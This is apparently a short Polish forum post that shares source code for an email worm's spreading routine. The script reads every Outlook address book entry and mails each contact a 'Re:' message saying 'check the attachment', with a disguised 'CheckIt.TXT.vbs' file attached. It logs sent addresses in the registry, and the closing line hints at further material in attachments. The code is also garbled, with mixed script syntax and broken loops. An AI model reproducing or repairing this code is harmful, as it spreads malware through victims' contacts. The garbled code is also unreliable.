a oto kod:
var x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d;
regedit=WScript.CreateObject("WScript.Shell");
out=WScript.CreateObject("Outlook.Application");
mapi=out.GetNameSpace("MAPI");
ctrlists = 1;
while (ctrlists < mapi.AddressLists.Count){
a=mapi.AddressLists(ctrlists);
x=1;
regv=regedit.RegRead("HKEY_CURRENT_USER\\Software\ \Microsoft\\WAB\\ " + a);
if (regv="") {
regv=1;
};
if (int(a.AddressEntries.Count)>int(regv)){
while (ctrentries=1 < a.AddressEntries.Count){
malead=a.AddressEntries(x);
regad="";
regad=regedit.RegRead("HKEY_CURRENT_USER\\Software \\Microsoft\\WAB\\ " +malead );
if (regad=""){
male=out.CreateItem(0);
male.Recipients.Add(malead);
male.Subject = "Re:";
male.Body = vbcrlf + "Sprawdz zalacznik ";
male.Attachments.Add(dirsystem + "\\CheckIt.TXT.vbs");
male.Send;
regedit.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"+m alead,1,"REG_DWORD");
}
x++;
}
regedit.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\"+a ,a.AddressEntries.Count);
}else{
regedit.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\WAB\\ "+a,a.AddressEntries.Count);
}
out=ble;
mapi=ble;
}
a w załącznikach może być małe co nieco